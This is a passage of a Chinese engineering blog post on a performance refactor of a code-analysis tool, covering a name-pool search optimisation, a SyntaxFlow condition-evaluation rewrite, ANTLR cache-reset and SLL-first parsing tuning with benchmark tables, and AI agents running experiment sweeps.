<p>这也是为什么这一轮最终会走到“常量池优化”。</p>
<p>这里说的常量池，实际落点就是 <code>namepool</code> 这条路径：先把名字集中管理，再尽量把搜索从字符串匹配推进到 <code>id</code> 路径。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="方案">方案<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E6%96%B9%E6%A1%88" class="hash-link" aria-label="方案的直接链接" title="方案的直接链接" translate="no">​</a></h3>
<p>这条线真正的突破，不是直接大改，而是先做实验。</p>
<p>先做的几件事非常关键：</p>
<ul>
<li class="">在同一个真实目标 <code>spring-cloud-netflix</code> 上，反复跑 scan-only 基线</li>
<li class="">把热点拆到具体执行点</li>
<li class="">尝试把搜索数据 load 到内存里，验证是否能绕开 SQLite 的回调式正则</li>
<li class="">进一步分析 <code>irindex</code> 里 <code>name</code> 的重复度</li>
</ul>
<p>实验做下来以后，方向就清楚了：</p>
<p>1、先从内存里把重复名字去重。</p>
<p>2、再对去重后的名字集合做匹配。</p>
<p>3、匹配完成后，再反查对应值。</p>
<p>4、再进一步，把字符串匹配路径推进到 <code>id</code> 路径，也就是常量池 / 名称池。</p>
<p>最终落到代码里的几个关键位置是：</p>
<ul>
<li class=""><code>common/yak/ssa/ssadb/name_cache.go</code></li>
<li class=""><code>common/yak/ssa/database_search.go</code></li>
<li class=""><code>common/yak/ssaapi/sf_search.go</code></li>
<li class=""><code>common/yak/ssaapi/sf_native_call.go</code></li>
</ul>
<p>具体改动包括：</p>
<ul>
<li class="">memory mode 补上纯内存常量池</li>
<li class="">搜索从 <code>pattern -&gt; string</code> 改成 <code>pattern -&gt; NameCache IDs -&gt; value IDs</code></li>
<li class=""><code>SearchWithValue</code> 加上 lazy / DB fast path</li>
<li class=""><code>NativeCall_GetFormalParams</code> 改成尽量不 materialize 完整函数对象</li>
</ul>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="现在的情况和重构结果">现在的情况和重构结果<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E7%8E%B0%E5%9C%A8%E7%9A%84%E6%83%85%E5%86%B5%E5%92%8C%E9%87%8D%E6%9E%84%E7%BB%93%E6%9E%9C" class="hash-link" aria-label="现在的情况和重构结果的直接链接" title="现在的情况和重构结果的直接链接" translate="no">​</a></h3>
<p>现在这条链路最重要的变化，不是“加了个缓存”，而是搜索模型已经换掉了：</p>
<ul>
<li class="">不再优先做大范围字符串匹配</li>
<li class="">开始优先走常量池 / namepool</li>
<li class="">先去重，再匹配，再按 <code>id</code> 反查</li>
<li class="">memory mode 和 DB mode 的搜索模型开始变得更接近</li>
</ul>
<p>这也是为什么这一节应该叫“常量池优化”，而不是简单叫 <code>namepool</code>。</p>
<p>因为它背后解决的是一个更大的问题：</p>
<p><em>让搜索从“字符串不断重复扫”变成“名字集中管理、ID 路径优先”。</em></p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="运行效率对比">运行效率对比<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E8%BF%90%E8%A1%8C%E6%95%88%E7%8E%87%E5%AF%B9%E6%AF%94" class="hash-link" aria-label="运行效率对比的直接链接" title="运行效率对比的直接链接" translate="no">​</a></h3>
<p>这一节已经有几组很能说明问题的数据。</p>
<p>在 <code>spring-cloud-netflix</code> 的 scan-only 基线里，早期的核心热点包括：</p>





















<div class="yakdoc-table"><button type="button" class="yakdoc-table__toggle" aria-expanded="false" aria-label="展开表格">展开</button><div class="yakdoc-table__scroll"><table><thead><tr><th>热点</th><th>早期耗时</th></tr></thead><tbody><tr><td><code>sfvm.nativecall:getFormalParams:java-servlet-param</code></td><td><code>~6.065s</code></td></tr><tr><td><code>sf.SearchWithValue:search-glob:*alibaba*fastjson</code></td><td><code>~3.416s</code></td></tr><tr><td><code>sf.SearchWithValue:search-regexp:org.apache.logging.log4j</code></td><td><code>~3.324s</code></td></tr></tbody></table></div></div>
<p>继续优化以后，这条线最亮眼的结果之一是：</p>
<ul>
<li class=""><code>sfvm.nativecall:getFormalParams:java-servlet-param</code></li>
</ul>
<p>从秒级，压到了“几十毫秒”量级。</p>
<p>这基本就是两位数量级的下降。</p>
<p>同时，从整体观测值看，在同一个真实目标的调优过程中：</p>















<div class="yakdoc-table"><button type="button" class="yakdoc-table__toggle" aria-expanded="false" aria-label="展开表格">展开</button><div class="yakdoc-table__scroll"><table><thead><tr><th>观测项</th><th>调优前</th><th>调优后</th></tr></thead><tbody><tr><td><code>spring-cloud-netflix</code> 观测值</td><td><code>10.08s</code></td><td><code>5.59s</code></td></tr></tbody></table></div></div>
<p>这组整体数据不能简单说成“全靠常量池快了这么多”，因为中间还叠加了：</p>
<ul>
<li class="">scan-only 路径的使用</li>
<li class="">空规则噪音清理</li>
<li class="">其他热点修复</li>
</ul>
<p>但它已经足够说明，SSA 指令搜索这条线的结构优化，已经开始实打实地把大项目扫描往下压了。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="syntaxflow-判断语句-运行逻辑重构">SyntaxFlow 判断语句 运行逻辑重构<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#syntaxflow-%E5%88%A4%E6%96%AD%E8%AF%AD%E5%8F%A5-%E8%BF%90%E8%A1%8C%E9%80%BB%E8%BE%91%E9%87%8D%E6%9E%84" class="hash-link" aria-label="SyntaxFlow 判断语句 运行逻辑重构的直接链接" title="SyntaxFlow 判断语句 运行逻辑重构的直接链接" translate="no">​</a></h2>
<p>这一节对应的核心合并 PR 主要是：<code>#4108</code>、<code>#4143</code>、<code>#4140</code>。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="之前的情况-1">之前的情况<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E4%B9%8B%E5%89%8D%E7%9A%84%E6%83%85%E5%86%B5-1" class="hash-link" aria-label="之前的情况的直接链接" title="之前的情况的直接链接" translate="no">​</a></h3>
<p>SyntaxFlow 的过滤语法本身一直就很强，像这些写法大家都很熟：</p>
<ul>
<li class=""><code>a?{.b}</code></li>
<li class=""><code>a?{.*&lt;len&gt;==2}</code></li>
<li class=""><code>a?(*&lt;len&gt;==3)</code></li>
</ul>
<p>从语法上看，它们都很好理解：</p>
<ul>
<li class=""><code>a?{.b}</code>：判断每个 <code>a</code> 是否存在 <code>.b</code></li>
<li class=""><code>a?{.*&lt;len&gt;==2}</code>：把 <code>a</code> 的成员展开后，判断这个 <code>a</code> 的成员数量是不是 2</li>
<li class=""><code>a?(*&lt;len&gt;==3)</code>：先展开，再在条件里对展开后的结果做判断</li>
</ul>
<p>通过这些条件对<code>?</code>之前的<code>a</code>进行过滤。</p>
<p>在 <code>ssa.to</code> 的 SyntaxFlow 文档里，<code>?{...}</code> 一直都是按“每个输入值在自己的上下文里求值”来解释的。</p>
<p>但在运行时实现层面，这件事过去并没有被完全收得这么干净。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="问题-1">问题<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E9%97%AE%E9%A2%98-1" class="hash-link" aria-label="问题的直接链接" title="问题的直接链接" translate="no">​</a></h3>
<p>这轮之前，真正的问题不是“语法表达不了”，而是运行逻辑上有几层历史包袱：</p>
<ul>
<li class=""><code>Values</code> 和旧的列表语义混在一起</li>
<li class="">条件判断、值分组、锚点回投之间边界不够清楚</li>
<li class="">condition 判断路径使用的是循环式处理思路</li>
</ul>
<p>这在简单规则里不一定明显，但一旦遇到：</p>
<ul>
<li class="">输入值很多</li>
<li class="">条件嵌套很多</li>
<li class="">中间又做了 <code>*</code> 展开、<code>&lt;len&gt;</code>、<code>&lt;slice&gt;</code> 这类操作</li>
</ul>
<p>就会出现一个很难受的现象：</p>
<p><em>规则不是不能跑，而是 condition 判断会沿着旧路径对值一个个循环判断，值越多，时间越长，几乎和值数量线性相关，所以一旦进入大量值场景就会非常慢。</em></p>
<p>所以这里的问题，不是“判断逻辑不正确”，而是：</p>
<p><em>判断逻辑在大量值场景下，执行路径不够稳定。</em></p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="方案-1">方案<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E6%96%B9%E6%A1%88-1" class="hash-link" aria-label="方案的直接链接" title="方案的直接链接" translate="no">​</a></h3>
<p>这轮重构做的，是把这条判断路径整条收掉重来。</p>
<p>关键变化主要落在：</p>
<ul>
<li class=""><code>common/syntaxflow/sfvm/frame.go</code></li>
<li class=""><code>common/syntaxflow/sfvm/condition_exec.go</code></li>
<li class=""><code>common/syntaxflow/sfvm/native_call.go</code></li>
<li class=""><code>common/syntaxflow/sfvm/values.go</code></li>
<li class=""><code>common/syntaxflow/docs/sfvm-values-condition.md</code></li>
</ul>
<p>核心思路有四个：</p>
<ol>
<li class="">用 <code>Values</code> 明确统一运行时值容器。</li>
<li class="">把条件判断统一收回 <code>anchor-scope</code>。</li>
<li class="">把 <code>NativeCall</code> 的 grouped 行为也交回 SFVM 自己处理。</li>
<li class="">把旧的 <code>ValueList</code> 和旧循环路径换掉。</li>
</ol>
<p>在语义上，这轮重构之后，<code>?{...}</code> 的执行逻辑终于和 SyntaxFlow 文档里说的那一套真正对齐了：</p>
<ul>
<li class=""><code>a?{.b}</code> 不再走“把所有值拉出来逐个循环判断”的旧路径，而是一起执行对每个输入 <code>a</code> 单独判断它自己有没有 <code>.b</code></li>
<li class=""><code>a?{.*&lt;len&gt;==2}</code> 也不是把所有结果混在一起算，而是先标记前序，然后一起执行判断，再把判断结果映射回每个原始输入 <code>a</code></li>
</ul>
<p>同样地：</p>
<ul>
<li class=""><code>a?{.*&lt;len&gt;==2}</code></li>
</ul>
<p>也不再是把所有值全拍平后算一个总 <code>len</code>，而是：</p>
<ul>
<li class="">先展开</li>
<li class="">再按原始输入 <code>a</code> 回投</li>
<li class="">最后决定哪个 <code>a</code> 应该保留</li>
</ul>
<p>这也是为什么这轮方案的核心，不只是“换几个函数”，而是把：</p>
<ul>
<li class=""><code>Values</code></li>
<li class=""><code>Condition</code></li>
<li class=""><code>Anchor</code></li>
<li class=""><code>NativeCall</code></li>
</ul>
<p>这一整组关系重新理顺。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="现在的情况和重构结果-1">现在的情况和重构结果<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E7%8E%B0%E5%9C%A8%E7%9A%84%E6%83%85%E5%86%B5%E5%92%8C%E9%87%8D%E6%9E%84%E7%BB%93%E6%9E%9C-1" class="hash-link" aria-label="现在的情况和重构结果的直接链接" title="现在的情况和重构结果的直接链接" translate="no">​</a></h3>
<p>现在 SyntaxFlow 判断语句这条线，最重要的变化是：</p>
<ul>
<li class="">判断语义和文档描述终于更一致了</li>
<li class="">条件判断路径更统一了</li>
<li class="">过去在大量值场景下容易拖很久的旧循环路径，被真正收住了</li>
</ul>
<p>这件事在当前仓库测试里甚至有一个很直白的信号：</p>
<ul>
<li class=""><code>filter condition without iter loop</code></li>
</ul>
<p>这个测试名本身就已经把问题说透了。</p>
<p>它不是在证明“能跑”，而是在证明：</p>
<p><em>这条条件过滤路径，现在已经不是靠旧的 iter-loop 逻辑在绕了。</em></p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="运行效率对比-1">运行效率对比<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E8%BF%90%E8%A1%8C%E6%95%88%E7%8E%87%E5%AF%B9%E6%AF%94-1" class="hash-link" aria-label="运行效率对比的直接链接" title="运行效率对比的直接链接" translate="no">​</a></h3>
<p>它的收益是“把长尾和坏路径收掉”。</p>
<ul>
<li class="">之前：大量值进入条件判断后，容易一直循环判断，时间非常长</li>
<li class="">现在：这类判断路径和普通检索一样所有值一起执行，已经能稳定完成并且不需要任何循环操作。</li>
</ul>
<p>也就是说，这一轮的收益主要体现在：</p>
<ul>
<li class="">把不可接受的长尾收掉</li>
<li class="">把规则判断从“复杂时容易拖垮”变成“复杂时也能稳定执行”</li>
</ul>
<p>这也是为什么这一节更像“运行逻辑重构”，而不是“一个单点提速 PR”。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="antlr缓存清理机制">ANTLR缓存清理机制<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#antlr%E7%BC%93%E5%AD%98%E6%B8%85%E7%90%86%E6%9C%BA%E5%88%B6" class="hash-link" aria-label="ANTLR缓存清理机制的直接链接" title="ANTLR缓存清理机制的直接链接" translate="no">​</a></h2>
<p>这一节对应的核心合并 PR 主要是：<code>#4139</code>。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="之前的情况-2">之前的情况<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E4%B9%8B%E5%89%8D%E7%9A%84%E6%83%85%E5%86%B5-2" class="hash-link" aria-label="之前的情况的直接链接" title="之前的情况的直接链接" translate="no">​</a></h3>
<p>ANTLR 这条线的一个老问题是内存和时间，在之前的优化中我们先后完成了两个处理：</p>
<ul>
<li class="">最开始我们发现内存不会被清理，然后清理出来不使用全局缓存而项目内缓存，以得到更稳定的缓存控制清理。</li>
<li class="">项目并发使用项目单一缓存将会带来锁的问题，导致并发执行非常慢，我们拆分出工作者协程并发，每个维护自己的缓存。</li>
</ul>
<p>然后目前运行发现这带来了新的问题：runtime cache 会随着大项目不断膨胀，导致GC运行占用大量的cpu时间。</p>
<p>最关键的两个东西是：</p>
<ul>
<li class="">DFA</li>
<li class="">PredictionContextCache</li>
</ul>
<p>如果完全不管它们，在大目标上会越来越占内存；</p>
<p>但如果清得太勤，缓存来不及复用，解析的时间占用大部分导致整个的编译效率仍然会低。</p>
<p>所以这不是一个“开或关”的问题，而是一个需要实验判断的问题，我们需要在清理问题上找到一个指标并且寻找一个“甜点值”的配置作为默认。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="问题-2">问题<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E9%97%AE%E9%A2%98-2" class="hash-link" aria-label="问题的直接链接" title="问题的直接链接" translate="no">​</a></h3>
<p>这条线真正要解决的是：</p>
<p><em>到底应该在什么时候清缓存，才能既不把<strong>内存</strong>推得太高，也不把性能打烂？</em></p>
<p>这件事必须同时看两组指标：</p>
<ul>
<li class="">时间</li>
<li class="">峰值内存</li>
</ul>
<p>因为只看其中一个，很容易选出一个看起来很好、但整体很差的策略。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="方案-2">方案<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E6%96%B9%E6%A1%88-2" class="hash-link" aria-label="方案的直接链接" title="方案的直接链接" translate="no">​</a></h3>
<p>这轮的方案，不是拍脑袋改默认值，而是把缓存清理参数放出来，然后围绕统一目标持续做实验，比较不同参数下的时间和内存，再从结果里找一个真正合适的“甜品点”。</p>
<p>关键位置在：</p>
<ul>
<li class=""><code>common/yak/ssaapi/ssa_compile_utils.go</code></li>
<li class=""><code>common/yak/java/tests/ast_parse_metrics_local_test.go</code></li>
</ul>
<p>最核心的环境变量是：</p>
<ul>
<li class=""><code>YAK_ANTLR_CACHE_RESET_FILES</code></li>
</ul>
<p>它的含义很直接：</p>
<p><em>每个 worker 解析多少个文件以后，reset 一次 runtime cache。</em></p>
<p>接下来做的事情，就是围绕统一目标持续跑实验，比较不同 reset 周期下的时间和内存，去找那个真正合适的“甜品点”。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="现在的情况和重构结果-2">现在的情况和重构结果<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E7%8E%B0%E5%9C%A8%E7%9A%84%E6%83%85%E5%86%B5%E5%92%8C%E9%87%8D%E6%9E%84%E7%BB%93%E6%9E%9C-2" class="hash-link" aria-label="现在的情况和重构结果的直接链接" title="现在的情况和重构结果的直接链接" translate="no">​</a></h3>
<p>这轮之后，ANTLR cache reset 已经不是一个模糊经验，而是一个有实验数据支撑的机制。</p>
<p>而且当前主线代码里，默认值已经落下来了：</p>
<ul>
<li class=""><code>YAK_ANTLR_CACHE_RESET_FILES=100</code></li>
</ul>
<p>这个默认值不是拍脑袋写进去的，而是比较了一轮又一轮结果后，选出的更稳妥默认点。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="运行效率对比-2">运行效率对比<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E8%BF%90%E8%A1%8C%E6%95%88%E7%8E%87%E5%AF%B9%E6%AF%94-2" class="hash-link" aria-label="运行效率对比的直接链接" title="运行效率对比的直接链接" translate="no">​</a></h3>
<p>先看极端情况。</p>























<div class="yakdoc-table"><button type="button" class="yakdoc-table__toggle" aria-expanded="false" aria-label="展开表格">展开</button><div class="yakdoc-table__scroll"><table><thead><tr><th>策略</th><th>时间</th><th>峰值内存</th><th>结论</th></tr></thead><tbody><tr><td>不 reset</td><td><code>78.46s</code></td><td><code>19.34GB</code></td><td>内存大，GC 压力也大</td></tr><tr><td>每次 parse 后都 reset</td><td><code>88.54s</code></td><td><code>2.20GB</code></td><td>内存很低，但明显变慢</td></tr></tbody></table></div></div>
<p>再看按“文件数”做 reset 的实验。</p>



































<div class="yakdoc-table"><button type="button" class="yakdoc-table__toggle" aria-expanded="false" aria-label="展开表格">展开</button><div class="yakdoc-table__scroll"><table><thead><tr><th><code>YAK_ANTLR_CACHE_RESET_FILES</code></th><th>时间</th><th>峰值内存</th></tr></thead><tbody><tr><td><code>100</code></td><td><code>53.01s</code></td><td><code>5.63GB</code></td></tr><tr><td><code>125</code></td><td><code>51.02s</code></td><td><code>6.41GB</code></td></tr><tr><td><code>145</code></td><td><code>50.17s</code></td><td><code>7.09GB</code></td></tr><tr><td><code>150</code></td><td><code>51.95s</code></td><td><code>7.01GB</code></td></tr><tr><td><code>250</code></td><td><code>50.67s</code></td><td><code>9.67GB</code></td></tr></tbody></table></div></div>
<p>这张表很能说明问题：</p>
<ul>
<li class=""><code>145/150</code> 这一带，是速度上的“甜品点”</li>
<li class=""><code>100</code> 这一带，更偏向“速度和内存都稳”</li>
</ul>
<p>所以这一轮最后落下来的结论不是：</p>
<ul>
<li class="">某一个值绝对最优</li>
</ul>
<p>而是：</p>
<ul>
<li class="">存在一段明确的甜品区间</li>
<li class="">默认值应该选一个更稳、更容易接受的点</li>
</ul>
<p>因此主线代码最终选择了：</p>
<ul>
<li class="">默认 <code>100</code></li>
</ul>
<p>这个值没有追求单次最快，但它把时间和内存都压在了一个比较稳的区间里。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="antlr-sll模式和-tokensource优化">ANTLR SLL模式和 TokenSource优化<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#antlr-sll%E6%A8%A1%E5%BC%8F%E5%92%8C-tokensource%E4%BC%98%E5%8C%96" class="hash-link" aria-label="ANTLR SLL模式和 TokenSource优化的直接链接" title="ANTLR SLL模式和 TokenSource优化的直接链接" translate="no">​</a></h2>
<p>这一节对应的核心合并 PR 主要是：<code>#4165</code>，Java 相关 fixup 可对应 <code>#4164</code>，而通用 SLL-first 路径则和 <code>#4139</code> 连在一起。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="之前的情况-3">之前的情况<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E4%B9%8B%E5%89%8D%E7%9A%84%E6%83%85%E5%86%B5-3" class="hash-link" aria-label="之前的情况的直接链接" title="之前的情况的直接链接" translate="no">​</a></h3>
<p>这一节其实可以分成两条线：</p>
<ul>
<li class="">Java：主要问题是各种真实项目、尤其是反编译代码里的 AST 边界</li>
<li class="">PHP：除了语法边界，还有真正的前端性能热点</li>
</ul>
<p>在更早的时候，各个 front-end 的 parse 行为也没这么统一。</p>
<p>SLL、LL、缓存复用、错误回退这些事情，缺少一个统一抽象。很多语言前端还是各自处理自己的 parse 细节，这意味着：</p>
<ul>
<li class="">有的地方先走 LL</li>
<li class="">有的地方自己做回退</li>
<li class="">有的地方缓存行为不一致</li>
</ul>
<p>而这轮之后，一个很重要的基础变化就是：<code>#4139</code> 把 <code>SLL-first</code> 正式收进了统一 helper。</p>
<p>也就是说，现在各 front-end 默认会先尝试更快、分配更低的 SLL 路径，只有在需要时才回退到 LL，这让“先快跑、失败再兜底”变成了统一默认行为。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="问题-3">问题<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E9%97%AE%E9%A2%98-3" class="hash-link" aria-label="问题的直接链接" title="问题的直接链接" translate="no">​</a></h3>
<p>Java 这一侧的主要问题，是：</p>
<ul>
<li class="">真实反编译项目里会出现大量奇怪 AST 边界</li>
<li class="">系统经常还没走到后面的性能阶段，就先在前端 AST 这里挂住</li>
</ul>
<p>PHP 这一侧的问题更复杂：</p>
<ul>
<li class="">真实 <code>pfsense</code> 项目里有一批 parser 边界问题</li>
<li class="">更麻烦的是 mixed HTML/PHP 大文件特别慢</li>
</ul>
<p>真正把 PHP 这个问题拆开以后，会发现：</p>
<ul>
<li class="">不是 SSA build 慢</li>
<li class="">不是 <code>go test</code> harness 慢</li>
<li class="">也不是简单的 SLL-&gt;LL fallback 导致慢</li>
</ul>
<p>真正的热点是：</p>
<ul>
<li class="">ANTLR 在 mixed HTML/PHP 输入上发生了 decision explosion</li>
<li class="">尤其集中在 <code>inlineHtmlStatement</code></li>
</ul>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="方案-3">方案<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E6%96%B9%E6%A1%88-3" class="hash-link" aria-label="方案的直接链接" title="方案的直接链接" translate="no">​</a></h3>
<p>这一节的方案分两层。</p>
<p>第一层，是统一 parse 模式：</p>
<ul>
<li class=""><code>common/yak/antlr4util/sll_first_parse.go</code></li>
</ul>
<p>这一层把：</p>
<ul>
<li class=""><code>SLL-first</code></li>
<li class="">fallback 到 <code>LL</code></li>
<li class="">错误监听</li>
<li class="">cache detach</li>
</ul>
<p>这些行为收到了统一 helper 里。</p>
<p>第二层，是 PHP 的专门优化：</p>
<ul>
<li class=""><code>common/yak/php/php2ssa/html_token_source.go</code></li>
<li class=""><code>common/yak/php/php2ssa/builder.go</code></li>
</ul>
<p>这里引入了一个非常关键的能力：</p>
<ul>
<li class=""><code>decorateTokenSource func(antlr.TokenSource) antlr.TokenSource</code></li>
</ul>
<p>它允许某个 front-end 在 lexer 和 <code>CommonTokenStream</code> 之间，插入一层自己的 TokenSource 装饰器。</p>
<p>最后真正最有效的优化，不是继续大改 grammar，而是给 PHP 加了一层 HTML token coalescing：</p>
<ul>
<li class="">连续 HTML token 合并成更大的块</li>
<li class="">PHP 起始边界和 XML 边界保留</li>
</ul>
<p>Java 这一侧，这轮则主要是：</p>
<ul>
<li class="">继续 fixup 真实项目里的 AST 边界</li>
<li class="">把反编译大目标 clean compile 跑通</li>
</ul>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="现在的情况和重构结果-3">现在的情况和重构结果<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E7%8E%B0%E5%9C%A8%E7%9A%84%E6%83%85%E5%86%B5%E5%92%8C%E9%87%8D%E6%9E%84%E7%BB%93%E6%9E%9C-3" class="hash-link" aria-label="现在的情况和重构结果的直接链接" title="现在的情况和重构结果的直接链接" translate="no">​</a></h3>
<p>现在这条线已经形成了比较清楚的分工：</p>
<ul>
<li class="">Java：重点在于 fixup 和真实大目标跑通</li>
<li class="">PHP：重点在于 front-end 性能热点真正被打下来</li>
</ul>
<p>Java 这一侧，现在最重要的结果是：</p>
<ul>
<li class="">真实反编译大目标里的 AST 错误和 panic 已经清到 0</li>
<li class="">前端不再是第一堵墙</li>
</ul>
<p>PHP 这一侧，现在最重要的结果是：</p>
<ul>
<li class="">mixed HTML 这个最难看的热点已经被明确定位并压下去</li>
</ul>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="运行效率对比-3">运行效率对比<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E8%BF%90%E8%A1%8C%E6%95%88%E7%8E%87%E5%AF%B9%E6%AF%94-3" class="hash-link" aria-label="运行效率对比的直接链接" title="运行效率对比的直接链接" translate="no">​</a></h3>
<p>这一节最漂亮的一组数据，来自 PHP。</p>





























<div class="yakdoc-table"><button type="button" class="yakdoc-table__toggle" aria-expanded="false" aria-label="展开表格">展开</button><div class="yakdoc-table__scroll"><table><thead><tr><th>benchmark</th><th>优化前</th><th>优化后</th><th>提升</th></tr></thead><tbody><tr><td><code>BenchmarkFrontendPfsenseSystemInformationFixture</code></td><td><code>15.36s/op</code></td><td><code>6.95s/op</code></td><td><code>54.74%</code></td></tr><tr><td>分配字节</td><td><code>15.98 GB/op</code></td><td><code>7.26 GB/op</code></td><td><code>54.59%</code></td></tr><tr><td>分配次数</td><td><code>259,896,130</code></td><td><code>117,823,714</code></td><td><code>54.67%</code></td></tr></tbody></table></div></div>
<p>本地当前主线补跑时，这个 benchmark 也还能稳定在：</p>
<ul>
<li class=""><code>7.82s/op</code></li>
</ul>
<p>说明这条优化已经比较稳定地落到了主线上。</p>
<p>Java 这一侧，重点不在某个小 benchmark，而在真实项目能不能跑通。</p>
<p>最终 clean compile 的结果里：</p>
<ul>
<li class="">wall time <code>44:10.96</code></li>
<li class="">parse <code>6m14s</code></li>
<li class="">save <code>27m25s</code></li>
</ul>
<p>它说明的核心问题是：</p>
<ul>
<li class="">Java 前端现在已经不再是第一堵墙</li>
<li class="">后面的性能重心会继续往 save / persistence 方向推进</li>
</ul>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="ai-agent对于开发实验成本的降低">AI Agent对于开发/实验成本的降低<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#ai-agent%E5%AF%B9%E4%BA%8E%E5%BC%80%E5%8F%91%E5%AE%9E%E9%AA%8C%E6%88%90%E6%9C%AC%E7%9A%84%E9%99%8D%E4%BD%8E" class="hash-link" aria-label="AI Agent对于开发/实验成本的降低的直接链接" title="AI Agent对于开发/实验成本的降低的直接链接" translate="no">​</a></h2>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="之前的情况-4">之前的情况<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E4%B9%8B%E5%89%8D%E7%9A%84%E6%83%85%E5%86%B5-4" class="hash-link" aria-label="之前的情况的直接链接" title="之前的情况的直接链接" translate="no">​</a></h3>
<p>过去做这类性能优化，最贵的成本其实往往不是“写代码”，而是：</p>
<ul>
<li class="">跑实验</li>
<li class="">看实验结果</li>
<li class="">验证思路是不是对</li>
<li class="">反复跑实验</li>
<li class="">换参数再跑</li>
<li class="">换目标再跑</li>
<li class="">换分支再跑</li>
</ul>
<p>尤其是这种工作：</p>
<ul>
<li class="">有大量参数组合</li>
<li class="">同一个目标要反复测</li>
<li class="">还要保留日志、做对比、回头看</li>
</ul>
<p>人工来做，成本会非常高。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="问题-4">问题<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E9%97%AE%E9%A2%98-4" class="hash-link" aria-label="问题的直接链接" title="问题的直接链接" translate="no">​</a></h3>
<p>这轮几个关键优化，本质上都不是“改一下马上就知道对不对”的问题。</p>
<p>例如：</p>
<ul>
<li class="">常量池/SSA 搜索优化，需要反复在同一个大目标上看热点变化</li>
<li class="">ANTLR cache reset，需要做多组参数 sweep</li>
<li class="">PHP mixed HTML，需要反复跑 benchmark、pprof、对比不同方案</li>
</ul>
<p>如果这些事情都手工做，实验成本会非常夸张。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="方案-4">方案<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E6%96%B9%E6%A1%88-4" class="hash-link" aria-label="方案的直接链接" title="方案的直接链接" translate="no">​</a></h3>
<p>这一轮很值得单独提一句的是：</p>
<p><strong>AI agent 在这里提供了大量原本很贵、很重复的实验能力。</strong></p>
<p>开发者真正做的事情，是：</p>
<ul>
<li class="">判断方向</li>
<li class="">看到实验结果</li>
<li class="">决定最终方案</li>
</ul>
<p>而 AI agent 帮忙做的事情，是：</p>
<ul>
<li class="">持续跑统一目标</li>
<li class="">跑多组参数</li>
<li class="">跑多个 worktree / 多个分支</li>
<li class="">把结果整理回来</li>
</ul>
<p>最典型的两条线就是：</p>
<ul>
<li class="">SSA 常量池 / 搜索链实验</li>
<li class="">ANTLR cache reset 参数 sweep</li>
</ul>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="现在的情况和重构结果-4">现在的情况和重构结果<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E7%8E%B0%E5%9C%A8%E7%9A%84%E6%83%85%E5%86%B5%E5%92%8C%E9%87%8D%E6%9E%84%E7%BB%93%E6%9E%9C-4" class="hash-link" aria-label="现在的情况和重构结果的直接链接" title="现在的情况和重构结果的直接链接" translate="no">​</a></h3>
<p>这件事带来的变化，不是“AI 替开发者写完了优化”，而是：</p>
<ul>
<li class="">很多原本太贵、太烦、太重复的实验，现在能持续做</li>
<li class="">多 worktree、多参数、多轮复跑的成本被明显压低了</li>
</ul>
<p>开发者可以把更多精力放在：</p>
<ul>
<li class="">判断根因</li>
<li class="">决定取舍</li>
<li class="">设计实验</li>
<li class="">决策和审核最终实现</li>
</ul>
